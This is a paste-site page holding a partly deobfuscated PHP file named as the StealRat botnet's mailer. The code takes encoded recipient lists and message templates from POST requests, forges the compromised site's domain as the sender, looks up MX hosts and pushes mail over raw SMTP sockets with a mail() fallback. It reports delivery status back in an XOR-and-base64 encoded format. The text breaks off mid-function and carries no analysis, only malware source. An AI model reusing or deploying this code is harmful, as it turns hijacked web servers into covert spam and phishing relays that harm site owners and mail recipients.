Untitled

From stealrat-mailer-formatted.php, 1 Year ago, written in Plain Text, viewed 70 times.
URL https://paste.steamr.com/view/56d1c67e Embed
Download Paste or View Raw
  1. $r76="F[<PAlDf|]}M@~79/O8Kx\rH6r&-c5k\n3X,YzhQ> Cp\\wUu2jGoB;0i_SN\tn%Vg)ZI^sTRyvL{\$:=1*mE+JW(q4.t'`a!\"#edb?";
  2.  
  3. // @error_reporting(NULL);
  4. // @ini_set("error_log", NULL);
  5. // @ini_set("log_errors", 0);
  6. define("DNS_TYPE_MX", 0x000F);
  7. define("DNS_TYPE_A", 0x0001);
  8. define("DNS_TYPE_NS", 0x0002);
  9. define("DNS_STEP_QESTION", 1);
  10. define("DNS_STEP_ANSWER", 2);
  11. define("DNS_STEP_AUTHORITY", 3);
  12. define("DNS_STEP_ADDITIONAL", 4);
  13. define("SOCKET_TYPE_SOCKET", 1);
  14. define("SOCKET_TYPE_FSOCKET", 2);
  15. define("SOCKET_TYPE_STREAM", 4);
  16. define("SOCKET_TYPE_NO", 5);
  17. define("SOCKET_PROTO_TCP", 1);
  18. define("SOCKET_PROTO_UDP", 2);
  19. define("STEP_CONNECT", 0);
  20. define("STEP_CONNECTED", 1);
  21. define("STEP_EHLO", 2);
  22. define("STEP_MAILFROM", 3);
  23. define("STEP_RCPTTO", 4);
  24. define("STEP_DATA", 5);
  25. define("STEP_BODY", 6);
  26. define("STEP_QUIT", 7);
  27. define("STEP_COMPLETED", 8);
  28. determine_socket_type($r76, NULL);
  29. $senderEmailData = array(
  30.     "toList" => "",
  31.     "fromLogin" => "",
  32.     "fromName" => "",
  33.     "subjTempl" => "",
  34.     "bodyTempl" => "",
  35.     "hostFrom" => ""
  36. );
  37. if (FALSE == getDataFromPost($r76, $senderEmailData)) {
  38.     echo PHP_OS . "+" . md5(0987654321) . "+01+[[]]
  39. ";
  40.     exit;
  41. }
  42. $emailDataList = array();
  43. for ($i = 0; $i < count($senderEmailData["toList"]); $i++) {
  44.     $emailData = array(
  45.         "id" => $i,
  46.         "g_mailto" => "",
  47.         "g_mailto+" => "",
  48.         "g_mailfrom" => "",
  49.         "g_mailfrom+" => "",
  50.         "g_domainto" => "",
  51.         "g_domainfrom" => "",
  52.         "g_namefirst" => "",
  53.         "g_namelast" => "",
  54.         "g_body" => "",
  55.         "g_subject" => "",
  56.         "g_fff" => FALSE,
  57.         "g_header" => "",
  58.         "g_headerfrom" => "",
  59.         "s_header" => "",
  60.         "s_mxhost" => "",
  61.         "s_mxaddr" => FALSE,
  62.         "s_sock" => FALSE,
  63.         "s_time" => time(),
  64.         "s_step" => constant("STEP_CONNECT"),
  65.         "s_port" => 25,
  66.         "s_datain" => "",
  67.         "s_dataout" => "",
  68.         "s_trig" => FALSE,
  69.         "l_err" => "",
  70.         "l_done" => FALSE,
  71.         "l_way" => 0, // 0 for not done, 1 for step?, 2 for using mail()
  72.         "l_failsmtp" => FALSE,
  73.         "l_smtp_end" => FALSE
  74.     );
  75.     if (FALSE == populateEmailData($r76, $senderEmailData["toList"][$i], $senderEmailData, $emailData)) {
  76.         echo PHP_OS . "+" . md5(1111111111) . "+02+[[" . encode_data($r76, $senderEmailData["toList"][$i]) . "]]
  77. ";
  78.         continue;
  79.     }
  80.     $emailDataList[] = $emailData;
  81. }
  82.  
  83.  
  84. print_r($emailDataList);
  85.  
  86. exit;
  87.  
  88.  
  89. processSendEmails($r76, $emailDataList); // first send by sockets
  90. sendByMail($r76, $emailDataList); // then fall back to mail()
  91. printStatus($r76, $emailDataList); // print status
  92.  
  93.  
  94. exit;
  95.  
  96.  
  97.  
  98. function printStatus($r76, $emailDataList)
  99. {
  100.     $successes = 0;
  101.     $successMethods = "";
  102.     for ($i = 0; $i < count($emailDataList); $i++) {
  103.         if ($emailDataList[$i]["l_failsmtp"] == TRUE) {
  104.             echo PHP_OS . "+" . md5(2222222222) . "+04+[[" . encode_data($r76, $emailDataList[$i]["g_mailto"] . " :: " . $emailDataList[$i]["l_err"]) . "]]
  105. ";
  106.         }
  107.         if ($emailDataList[$i]["l_done"] == TRUE) {
  108.             $successMethods .= $emailDataList[$i]["l_way"];
  109.             $successes++;
  110.         }
  111.     }
  112.     if ($successes == 0) {
  113.         echo PHP_OS . "+" . md5(0987654321) . "+04+[[]]
  114. ";
  115.     } else {
  116.         echo "OK+" . md5(1234567890) . "+" . $successes . "+" . count($emailDataList) . "[" . $successMethods . "]
  117. ";
  118.     }
  119. }
  120. function sendByMail($r76, &$emailDataList)
  121. {
  122.     if (!function_exists("mail")) {
  123.         return FALSE;
  124.     }
  125.     for ($i = 0; $i < count($emailDataList); $i++) {
  126.         if ($emailDataList[$i]["l_done"] == TRUE) {
  127.             continue;
  128.         }
  129.         if ($emailDataList[$i]["g_fff"]) {
  130.             if (@mail($emailDataList[$i]["g_mailto+"], $emailDataList[$i]["g_subject"], $emailDataList[$i]["g_body"], $emailDataList[$i]["g_headerfrom"] . $emailDataList[$i]["g_header"], "-f" . $emailDataList[$i]["g_mailfrom"])) {
  131.                 $emailDataList[$i]["l_done"] = TRUE;
  132.                 $emailDataList[$i]["l_way"]  = 2;
  133.             } else {
  134.                 $emailDataList[$i]["l_done"] = FALSE;
  135.             }
  136.         } else {
  137.             if (@mail($emailDataList[$i]["g_mailto+"], $emailDataList[$i]["g_subject"], $emailDataList[$i]["g_body"], $emailDataList[$i]["g_header"])) {
  138.                 $emailDataList[$i]["l_done"] = TRUE;
  139.                 $emailDataList[$i]["l_way"]  = 2;
  140.             } else {
  141.                 $emailDataList[$i]["l_done"] = FALSE;
  142.             }
  143.         }
  144.     }
  145. }
  146. function processSendEmails($r76, &$emailDataList)
  147. {
  148.         // while at least one socket in email list is opened...
  149.     while (hasOpenedSockets($r76, $emailDataList)) {
  150.                 // process the emails in the list
  151.         processEmailSending($r76, $emailDataList);
  152.         usleep(25000);
  153.     }
  154. }
  155. function smtpCloseConnection($r76, &$emailDataList, $emailId, $flunj82, $mavcb77)
  156. {
  157.     if ($emailDataList[$emailId]["s_sock"] != FALSE) {
  158.         close_connection($r76, $emailDataList[$emailId]["s_sock"]);
  159.     }
  160.     $emailDataList[$emailId]["l_err"]      = "[" . $emailDataList[$emailId]["s_step"] . "]" . trim(preg_replace("/
  161. /", " ", $flunj82));
  162.     $emailDataList[$emailId]["l_failsmtp"] = $mavcb77;
  163.     $emailDataList[$emailId]["l_smtp_end"] = TRUE;
  164.     return;
  165. }
  166. function processEmailSending($r76, &$emailDataList)
  167. {
  168.     $startTime = time();
  169.     foreach ($emailDataList as $emailId => $emailData) {
  170.         if ($emailData["l_smtp_end"] == TRUE) {
  171.             continue;
  172.         }
  173.         if ($emailData["s_time"] + 20 < $startTime) {
  174.             if ($emailDataList[$emailId]["s_step"] == constant("STEP_CONNECT") && $emailDataList[$emailId]["s_port"] != 587) {
  175.                 close_connection($r76, $emailDataList[$emailId]["s_sock"]);
  176.                 $emailDataList[$emailId]["s_port"] = 587;
  177.                 $emailDataList[$emailId]["s_time"] = time();
  178.                 continue;
  179.             }
  180.             smtpCloseConnection($r76, $emailDataList, $emailId, "timeout", FALSE);
  181.             continue;
  182.         }
  183.         switch ($emailDataList[$emailId]["s_step"]) {
  184.             case constant("STEP_CONNECT"):
  185.                 if ($emailDataList[$emailId]["s_mxaddr"] == FALSE) {
  186.                     $emailDataList[$emailId]["s_mxaddr"] = @gethostbyname($emailDataList[$emailId]["s_mxhost"]);
  187.                     if (!@preg_match("/([0-9]{1,3}\.?){4}/", $emailDataList[$emailId]["s_mxaddr"])) {
  188.                         smtpCloseConnection($r76, $emailDataList, $emailId, "resolve mx", FALSE);
  189.                         break;
  190.                     }
  191.                 }
  192.                 $errno                    = 0;
  193.                 $errstr                    = '';
  194.                 $emailDataList[$emailId]["s_sock"] = socketFactory($r76, $emailDataList[$emailId]["s_sock"], constant("SOCKET_PROTO_TCP"), $emailDataList[$emailId]["s_mxaddr"], $emailDataList[$emailId]["s_port"], 2, $errno, $errstr, TRUE);
  195.                 if ($emailDataList[$emailId]["s_sock"] == FALSE) {
  196.                     break;
  197.                 }
  198.                 if ($errno == 0 || $errno === 56 || $errno === 10056) {
  199.                     $emailDataList[$emailId]["s_step"] = constant("STEP_CONNECTED");
  200.                     wdtjf68($r76, $emailDataList[$emailId]["s_sock"], 15);
  201.                     $emailDataList[$emailId]["s_time"] = time();
  202.                 }
  203.                 break;
  204.             case constant("STEP_CONNECTED"):
  205.                 if (rxrmp70($r76, $emailDataList, $emailId)) {
  206.                     $emailDataList[$emailId]["s_datain"]  = "";
  207.                     $emailDataList[$emailId]["s_dataout"] = "EHLO " . $emailDataList[$emailId]["g_domainfrom"] . "
  208. ";
  209.                     $emailDataList[$emailId]["s_step"]    = constant("STEP_EHLO");
  210.                     $emailDataList[$emailId]["s_time"]    = time();
  211.                 }
  212.                 break;
  213.             case constant("STEP_EHLO"):
  214.                 if (prcux47($r76, $emailDataList, $emailId)) {
  215.                     if (rxrmp70($r76, $emailDataList, $emailId)) {
  216.                         if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250) {
  217.                             smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE);
  218.                             break;
  219.                         }
  220.                         $emailDataList[$emailId]["s_datain"]  = "";
  221.                         $emailDataList[$emailId]["s_dataout"] = "MAIL FROM:<" . $emailDataList[$emailId]["g_mailfrom"] . ">
  222. ";
  223.                         $emailDataList[$emailId]["s_step"]    = constant("STEP_MAILFROM");
  224.                         $emailDataList[$emailId]["s_time"]    = time();
  225.                     }
  226.                     break;
  227.                 }
  228.                 break;
  229.             case constant("STEP_MAILFROM"):
  230.                 if (prcux47($r76, $emailDataList, $emailId)) {
  231.                     if (rxrmp70($r76, $emailDataList, $emailId)) {
  232.                         if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250) {
  233.                             smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE);
  234.                             break;
  235.                         }
  236.                         $emailDataList[$emailId]["s_datain"]  = "";
  237.                         $emailDataList[$emailId]["s_dataout"] = "RCPT TO:<" . $emailDataList[$emailId]["g_mailto"] . ">
  238. ";
  239.                         $emailDataList[$emailId]["s_step"]    = constant("STEP_RCPTTO");
  240.                         $emailDataList[$emailId]["s_time"]    = time();
  241.                     }
  242.                     break;
  243.                 }
  244.                 break;
  245.             case constant("STEP_RCPTTO"):
  246.                 if (prcux47($r76, $emailDataList, $emailId)) {
  247.                     if (rxrmp70($r76, $emailDataList, $emailId)) {
  248.                         if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250 && substr($emailDataList[$emailId]["s_datain"], 0, 3) != 251) {
  249.                             smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE);
  250.                             break;
  251.                         }
  252.                         $emailDataList[$emailId]["s_datain"]  = "";
  253.                         $emailDataList[$emailId]["s_dataout"] = "DATA
  254. ";
  255.                         $emailDataList[$emailId]["s_step"]    = constant("STEP_DATA");
  256.                         $emailDataList[$emailId]["s_time"]    = time();
  257.                     }
  258.                     break;
  259.                 }
  260.                 break;
  261.             case constant("STEP_DATA"):
  262.                 if (prcux47($r76, $emailDataList, $emailId)) {
  263.                     if (rxrmp70($r76, $emailDataList, $emailId)) {
  264.                         if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 354) {
  265.                             smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE);
  266.                             break;
  267.                         }
  268.                         $emailDataList[$emailId]["s_datain"]  = "";
  269.                         $emailDataList[$emailId]["s_dataout"] = $emailDataList[$emailId]["s_header"] . "
  270. " . $emailDataList[$emailId]["g_body"] . "
  271. .
  272. ";
  273.                         $emailDataList[$emailId]["s_step"]    = constant("STEP_BODY");
  274.                         $emailDataList[$emailId]["s_time"]    = time();
  275.                     }
  276.                     break;
  277.                 }
  278.                 break;
  279.             case constant("STEP_BODY"):
  280.                 if (prcux47($r76, $emailDataList, $emailId)) {
  281.                     if (rxrmp70($r76, $emailDataList, $emailId)) {
  282.                         if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250) {
  283.                             smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE);
  284.                             break;
  285.                         }
  286.                         $emailDataList[$emailId]["s_datain"]  = "";
  287.                         $emailDataList[$emailId]["s_dataout"] = "QUIT
  288. ";
  289.                         $emailDataList[$emailId]["s_step"]    = constant("STEP_QUIT");
  290.                         $emailDataList[$emailId]["s_time"]    = time();
  291.                         $emailDataList[$emailId]["l_done"]    = TRUE;
  292.                         $emailDataList[$emailId]["l_way"]     = 1;
  293.                     }
  294.                     break;
  295.                 }
  296.                 break;
  297.             case constant("STEP_QUIT"):
  298.                 if (prcux47($r76, $emailDataList, $emailId)) {
  299.                     smtpCloseConnection($r76, $emailDataList, $emailId, "", FALSE);
  300.                 }
  301.                 break;
  302.         }
  303.     }
  304. }
  305. function rxrmp70($r76, &$emailDataList, $emailId)
  306. {
  307.     $errno = 0;
  308.     $errstr = "";
  309.     if ($emailDataList[$emailId]["s_trig"] == FALSE) {
  310.         if (strlen($emailDataList[$emailId]["s_datain"]) != 0) {
  311.             return TRUE;
  312.         }
  313.         return FALSE;
  314.     }
  315.     $data = read_socket_data($r76, $emailDataList[$emailId]["s_sock"], 4086, $errno, $errstr);
  316.     if ($data == FALSE || $data == "") {
  317.         if ($errno != 35 && $errno != 10035 && $errno != 11 && $errno != 10060) {
  318.             smtpCloseConnection($r76, $emailDataList, $emailId, $errstr, FALSE);
  319.             return FALSE;
  320.         }
  321.         if (strlen($emailDataList[$emailId]["s_datain"]) != 0) {
  322.             return TRUE;
  323.         }
  324.         return FALSE;
  325.     }
  326.     $emailDataList[$emailId]["s_datain"] = $data;
  327.     return FALSE;
  328. }
  329. function prcux47($r76, &$emailDataList, $emailId)
  330. {
  331.     $errno = 0;
  332.     $errstr = "";
  333.     if (strlen($emailDataList[$emailId]["s_dataout"]) == 0) {
  334.         return TRUE;
  335.     }
  336.     $data = write_socket_data($r76, $emailDataList[$emailId]["s_sock"], $emailDataList[$emailId]["s_dataout"], $errno, $errstr);
  337.     if ($data == FALSE) {
  338.         if ($errno != 35 && $errno != 10035 && $errno != 11 && $errno != 10060) {
  339.             smtpCloseConnection($r76, $emailDataList, $emailId, $errstr, FALSE);
  340.         }
  341.         return FALSE;
  342.     }
  343.     $emailDataList[$emailId]["s_dataout"] = substr($emailDataList[$emailId]["s_dataout"], $data);
  344.     if (strlen($emailDataList[$emailId]["s_dataout"]) == 0) {
  345.         return TRUE;
  346.     }
  347.     return FALSE;
  348. }
  349. function hasOpenedSockets($r76, &$emailDataList)
  350. {
  351.     $socketData = FALSE;
  352.     if (constant("SOCKET_TYPE") != constant("SOCKET_TYPE_SOCKET")) {
  353.         foreach (array_keys($emailDataList) as $emailId) {
  354.             if ($emailDataList[$emailId]["l_smtp_end"] != TRUE) {
  355.                 $emailDataList[$emailId]["s_trig"] = TRUE;
  356.                 $socketData                    = TRUE;
  357.             }
  358.         }
  359.         return $socketData;
  360.     }
  361.     $fwcsz21 = array();
  362.     foreach (array_keys($emailDataList) as $emailId) {
  363.         if ($emailDataList[$emailId]["l_smtp_end"] != TRUE) {
  364.             if ($emailDataList[$emailId]["s_sock"] == 0 || $emailDataList[$emailId]["s_step"] == constant("STEP_CONNECT")) {
  365.                 $emailDataList[$emailId]["s_trig"] = TRUE;
  366.             } else {
  367.                 $emailDataList[$emailId]["s_trig"] = FALSE;
  368.                 $fwcsz21[]                  = $emailDataList[$emailId]["s_sock"];
  369.             }
  370.             $socketData = TRUE;
  371.         }
  372.     }
  373.     if (count($fwcsz21) == 0) {
  374.         return $socketData;
  375.     }
  376.         // watch for changes to all opened sockets and updates the email list of sockets accordinly.
  377.     $zkvhr54 = @socket_select($fwcsz21, $kllzd89 = NULL, $ccvhx50 = NULL, 0);
  378.     if ($zkvhr54 == FALSE || $zkvhr54 == 0) {
  379.         return $socketData;
  380.     }
  381.     foreach (array_keys($emailDataList) as $emailId) {
  382.         $emailDataList[$emailId]["s_trig"] = FALSE;
  383.         foreach ($fwcsz21 as $xoloh2) {
  384.             if ($emailDataList[$emailId]["s_sock"] == $xoloh2) {
  385.                 $emailDataList[$emailId]["s_trig"] = TRUE;
  386.                 break;
  387.             }
  388.         }
  389.     }
  390.     return $socketData;
  391. }
  392. function determine_socket_type($r76, $foo)
  393. {
  394.     if (function_exists("socket_create") && function_exists("socket_connect") && function_exists("read_socket_data") && function_exists("socket_write")) {
  395.         define("SOCKET_TYPE", constant("SOCKET_TYPE_SOCKET"));
  396.         return TRUE;
  397.     }
  398.     if (function_exists("fsockopen")) {
  399.         define("SOCKET_TYPE", constant("SOCKET_TYPE_FSOCKET"));
  400.         return TRUE;
  401.     }
  402.     if (function_exists("stream_socket_client")) {
  403.         define("SOCKET_TYPE", constant("SOCKET_TYPE_STREAM"));
  404.         return TRUE;
  405.     }
  406.     define("SOCKET_TYPE", constant("SOCKET_TYPE_NO"));
  407.     return FALSE;
  408. }
  409.  
  410. function populateEmailData($r76, $recipientData, $senderEmailData, &$emailData)
  411. {
  412.     $qivuk92 = array();
  413.     if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $recipientData, $qivuk92)) {
  414.         return FALSE;
  415.     }
  416.     if (!isset($qivuk92) || count($qivuk92) != 5) {
  417.         return FALSE;
  418.     }
  419.     $emailData["g_namefirst"] = @ucfirst(str_replace(";", "", $qivuk92[1]));
  420.     $emailData["g_namelast"]  = @ucfirst(str_replace(";", "", $qivuk92[2]));
  421.     $emailData["g_mailto"]    = str_replace(";", "", $qivuk92[3]);
  422.     $emailData["g_domainto"]  = str_replace(";", "", $qivuk92[4]);
  423.     if (!isset($emailData["g_mailto"]) || $emailData["g_mailto"] == "") {
  424.         return FALSE;
  425.     }
  426.     if (!isset($emailData["g_domainto"]) || $emailData["g_domainto"] == "") {
  427.         return FALSE;
  428.     }
  429.     if (isset($emailData["g_namefirst"]) && $emailData["g_namefirst"] != "") {
  430.         $emailData["g_mailto+"] = $emailData["g_namefirst"] . " " . $emailData["g_namelast"] . " <" . $emailData["g_mailto"] . ">";
  431.     } else {
  432.         $emailData["g_mailto+"] = $emailData["g_mailto"];
  433.     }
  434.     $emailData["g_domainfrom"] = $senderEmailData["hostFrom"];
  435.     if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $senderEmailData["hostFrom"]) || @ini_get("safe_mode")) {
  436.         $emailData["g_fff"] = FALSE;
  437.     } else {
  438.         $emailData["g_fff"] = TRUE;
  439.     }
  440.     $emailData["g_mailfrom"] = $senderEmailData["fromLogin"] . "@" . $senderEmailData["hostFrom"];
  441.     if (isset($senderEmailData["fromName"]) && $senderEmailData["fromName"] != "") {
  442.         $emailData["g_mailfrom+"] = $senderEmailData["fromName"] . " <" . $emailData["g_mailfrom"] . ">";
  443.     } else {
  444.         $emailData["g_mailfrom+"] = $emailData["g_mailfrom"];
  445.     }
  446.     $emailData["s_mxhost"]  = getMXHosts($r76, $emailData["g_domainto"]);
  447.     $emailData["g_subject"] = @str_replace("%R_NAME%", $emailData["g_namefirst"], $senderEmailData["subjTempl"]);
  448.     $emailData["g_subject"] = @str_replace("%R_LNAME%", $emailData["g_namelast"], $emailData["g_subject"]);
  449.     $emailData["g_body"]    = @str_replace("%R_NAME%", $emailData["g_namefirst"], $senderEmailData["bodyTempl"]);
  450.     $emailData["g_body"]    = @str_replace("%R_LNAME%", $emailData["g_namelast"], $emailData["g_body"]);
  451.     $emailData["g_body"]    = @str_replace("%MAIL_EN%", encode_data($r76, $emailData["g_mailto"]), $emailData["g_body"]);
  452.     $emailData["g_header"]  = "X-Priority: 3 (Normal)
  453. ";
  454.     $emailData["g_header"] .= "MIME-Version: 1.0
  455. ";
  456.     $emailData["g_header"] .= "Content-Type: text/html;
  457. charset=\"iso-8859-1\"
  458. ";
  459.     $emailData["g_header"] .= "Content-Transfer-Encoding: 8bit
  460. ";
  461.     $emailData["g_headerfrom"] = "From: " . $emailData["g_mailfrom+"] . "
  462. ";
  463.     $emailData["g_headerfrom"] .= "Reply-To:" . $emailData["g_mailfrom+"] . "
  464. ";
  465.     $emailData["s_header"] = "Date: " . @date("D, j M Y G:i:s O") . "
  466. ";
  467.     $emailData["s_header"] .= $emailData["g_headerfrom"];
  468.     $emailData["s_header"] .= "Message-ID: <" . preg_replace("/(.{7})(.{5})(.{2}).*/", "$1-$2-$3", md5(time())) . "@" . $senderEmailData["hostFrom"] . ">
  469. ";
  470.     $emailData["s_header"] .= "To: " . $emailData["g_mailto+"] . "
  471. ";
  472.     $emailData["s_header"] .= "Subject: " . $emailData["g_subject"] . "
  473. ";
  474.     $emailData["s_header"] .= $emailData["g_subject"];
  475.     return TRUE;
  476. }
  477. function getMXHosts($r76, $hostname)
  478. {
  479.     $mlopr36 = array();
  480.     $vcnaa29 = array();
  481.     if (function_exists("getmxrr")) {
  482.         @getmxrr($hostname, $mlopr36, $vcnaa29);
  483.     } else {
  484.         if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_NO")) {
  485.             return FALSE;
  486.         }
  487.         $zkvhr54 = resolveDnsName($r76, $hostname, constant("DNS_TYPE_MX"));
  488.         if ($zkvhr54 == FALSE || !isset($zkvhr54["ans"])) {
  489.             return FALSE;
  490.         }
  491.         foreach ($zkvhr54["ans"] as $txows40) {
  492.             if ($txows40["type"] == constant("DNS_TYPE_MX")) {
  493.                 $mlopr36[] = $txows40["data"];
  494.                 $vcnaa29[] = $txows40["preference"];
  495.             }
  496.         }
  497.     }
  498.     if (count($mlopr36) == 0) {
  499.         return FALSE;
  500.     }
  501.     $wtqra76 = array_keys($vcnaa29, min($vcnaa29));
  502.     return $mlopr36[$wtqra76[0]];
  503. }
  504. function getDataFromPost($r76, &$senderEmailData)
  505. {
  506.     if (count($_POST) < 2) {
  507.         return FALSE;
  508.     }
  509.        
  510.     $messageEncoded = false;
  511.     $listPostKey = $dataPostKey = "";
  512.     foreach (array_keys($_POST) as $key) {
  513.         if ($key[0] == "l") {
  514.             $listPostKey = $key;
  515.         }
  516.         if ($key[0] == "d") {
  517.             $dataPostKey = $key;
  518.         }
  519.         if ($key[0] == "e") {
  520.             $messageEncoded = true;
  521.         }
  522.     }
  523.     if ($listPostKey == "" || $dataPostKey == "") {
  524.         return FALSE;
  525.     }
  526.     $postedRecipients = getPostData($r76, $listPostKey, $messageEncoded);
  527.     $postedData = getPostData($r76, $dataPostKey, $messageEncoded);
  528.     if ($postedRecipients == FALSE || $postedData == FALSE) {
  529.         return FALSE;
  530.     }
  531.     $senderEmailData["toList"]    = @preg_split("/#/", $postedRecipients);
  532.     $senderEmailData["fromLogin"] = $senderEmailData["fromName"] = $senderEmailData["subjTempl"] = $senderEmailData["bodyTempl"] = "";
  533.     $qivuk92             = array();
  534.     if (FALSE !== @preg_match("/<USER>(.*?)<\/USER>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) {
  535.         $senderEmailData["fromLogin"] = $qivuk92[1];
  536.     }
  537.     if (FALSE !== @preg_match("/<NAME>(.*?)<\/NAME>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) {
  538.         $senderEmailData["fromName"] = $qivuk92[1];
  539.     }
  540.     if (FALSE !== @preg_match("/<SUBJ>(.*?)<\/SUBJ>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) {
  541.         $senderEmailData["subjTempl"] = $qivuk92[1];
  542.     }
  543.     if (FALSE !== @preg_match("/<SBODY>(.*?)<\/SBODY>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) {
  544.         $senderEmailData["bodyTempl"] = $qivuk92[1];
  545.     }
  546.     $senderEmailData["hostFrom"] = @preg_replace("/^(www|ftp)\./i", '', $_SERVER["HTTP_HOST"]);
  547.     return TRUE;
  548. }
  549. function getPostData($r76, $postIndex, $messageEncoded)
  550. {
  551.     if (!isset($postIndex) || $postIndex == "") {
  552.         return FALSE;
  553.     }
  554.     $message = @$_POST[$postIndex];
  555.     if ($messageEncoded) {
  556.         $message = messageDecode($r76, $message);
  557.         for ($i = 0; $i < strlen($message); $i++) {
  558.             $message[$i] = chr(ord($message[$i]) ^ 2);
  559.         }
  560.     }
  561.     return urldecode(stripslashes($message));
  562. }
  563. function messageDecode($r76, $rxuwy6)
  564. {
  565.     $data = "";
  566.     for ($i = 0; $i < 256; $i++) {
  567.         $vefvn90[$i] = chr($i);
  568.     }
  569.     $adcpo58 = array_flip(preg_split("//", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", -1, 1));
  570.     $rfsny13 = array();
  571.     preg_match_all("([A-z0-9+\/]{1,4})", $rxuwy6, $rfsny13);
  572.     foreach ($rfsny13[0] as $dkpwg91) {
  573.         $omqhl54 = 0;
  574.         for ($i = 0; isset($dkpwg91[$i]); $i++) {
  575.             $omqhl54 = ($omqhl54 << 6) + $adcpo58[$dkpwg91[$i]];
  576.             if ($i > 0) {
  577.                 $data .= $vefvn90[$omqhl54 >> (4 - (2 * ($i - 1)))];
  578.                 $omqhl54 = $omqhl54 & (0xf >> (2 * ($i - 1)));
  579.             }
  580.         }
  581.     }
  582.     return $data;
  583. }
  584. function encode_data($r76, $input)
  585. {
  586.     for ($i = 0; $i < strlen($input); $i++) {
  587.         $input[$i] = chr(ord($input[$i]) ^ 2);
  588.     }
  589.     return base64_encode($input);
  590. }
  591. function socketFactory($r76, $fsock, $socketProtocol, $address, $port, $timeout, &$errno, &$errstr, $nonblock = false)
  592. {
  593.     $protocol = "";
  594.     $socketProtocol = NULL;
  595.     $socketType  = NULL;
  596.     $errno = 0;
  597.     $errstr = "";
  598.     if ($socketProtocol == constant("SOCKET_PROTO_TCP")) {
  599.         $protocol = "tcp";
  600.         $socketProtocol = SOL_TCP;
  601.         $socketType  = SOCK_STREAM;
  602.     } else if ($socketProtocol == constant("SOCKET_PROTO_UDP")) {
  603.         $protocol = "udp";
  604.         $socketType  = SOCK_DGRAM;
  605.         $socketProtocol = SOL_UDP;
  606.     } else {
  607.         $errstr = "Error: invalid protocol";
  608.         return FALSE;
  609.     }
  610.     switch (constant("SOCKET_TYPE")) {
  611.         case constant("SOCKET_TYPE_SOCKET"):
  612.             if ($fsock == FALSE) {
  613.                 $fsock = @socket_create(AF_INET, $socketType, $socketProtocol);
  614.                 if ($fsock == FALSE) {
  615.                     $errno = socket_last_error();
  616.                     $errstr = socket_strerror($errno);
  617.                     break;
  618.                 }
  619.                 socket_set_option($fsock, SOL_SOCKET, SO_REUSEADDR, 1);
  620.                 socket_set_option($fsock, SOL_SOCKET, SO_RCVTIMEO, array(
  621.                     "sec" => $timeout,
  622.                     "usec" => 0
  623.                 ));
  624.                 socket_set_option($fsock, SOL_SOCKET, SO_SNDTIMEO, array(
  625.                     "sec" => $timeout,
  626.                     "usec" => 0
  627.                 ));
  628.                 if ($nonblock) {
  629.                     socket_set_nonblock($fsock);
  630.                 }
  631.             }
  632.             if (!@socket_connect($fsock, $address, $port)) {
  633.                 $errno = socket_last_error($fsock);
  634.                 $errstr = socket_strerror($errno);
  635.             }
  636.             if ($nonblock) {
  637.                 socket_set_nonblock($fsock);
  638.             }
  639.             break;
  640.         case constant("SOCKET_TYPE_FSOCKET"):
  641.             $fsock = @fsockopen($protocol . "://" . $address, $port, $errno, $errstr, $timeout);
  642.             if ($fsock && $nonblock) {
  643.                 @stream_set_blocking($fsock, 0);
  644.             }
  645.             @stream_set_timeout($fsock, $timeout);
  646.             break;
  647.         case constant("SOCKET_TYPE_STREAM"):
  648.             $fsock = @stream_socket_client($protocol . "://" . $address . ":" . $port, $errno, $errstr, $timeout);
  649.             if ($fsock && $nonblock) {
  650.                 @stream_set_blocking($fsock, 0);
  651.             }
  652.             @stream_set_timeout($fsock, $timeout);
  653.             break;
  654.         default:
  655.             $errstr = "Error: invalid socket type";
  656.             return FALSE;
  657.     }
  658.     return $fsock;
  659. }
  660. function close_connection($r76, &$fsock)
  661. {
  662.     if ($fsock == FALSE) {
  663.         return;
  664.     }
  665.     if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) {
  666.         @socket_close($fsock);
  667.     } else {
  668.         @fclose($fsock);
  669.     }
  670.     $fsock = FALSE;
  671.     return;
  672. }
  673. function read_socket_data($r76, $fsock, $bytesToRead, &$errno, &$errstr)
  674. {
  675.     if ($fsock == FALSE) {
  676.         return FALSE;
  677.     }
  678.     if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) {
  679.         $socketData = @read_socket_data($fsock, $bytesToRead, PHP_BINARY_READ);
  680.         if ($socketData == FALSE) {
  681.             $errno = socket_last_error($fsock);
  682.             $errstr = socket_strerror($errno);
  683.         }
  684.     } else {
  685.         if (@feof($fsock)) {
  686.             return FALSE;
  687.         }
  688.         $socketData = @fread($fsock, $bytesToRead);
  689.         if (strlen($socketData) == 0) {
  690.             $errno = 35;
  691.         }
  692.     }
  693.     return $socketData;
  694. }
  695. function write_socket_data($r76, $fsock, $data, &$errno, &$errstr)
  696. {
  697.     if ($fsock == FALSE) {
  698.         return FALSE;
  699.     }
  700.     if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) {
  701.         $socketData = @socket_write($fsock, $data);
  702.         if ($socketData == FALSE) {
  703.             $errno = socket_last_error($fsock);
  704.             $errstr = socket_strerror($errno);
  705.         }
  706.     } else {
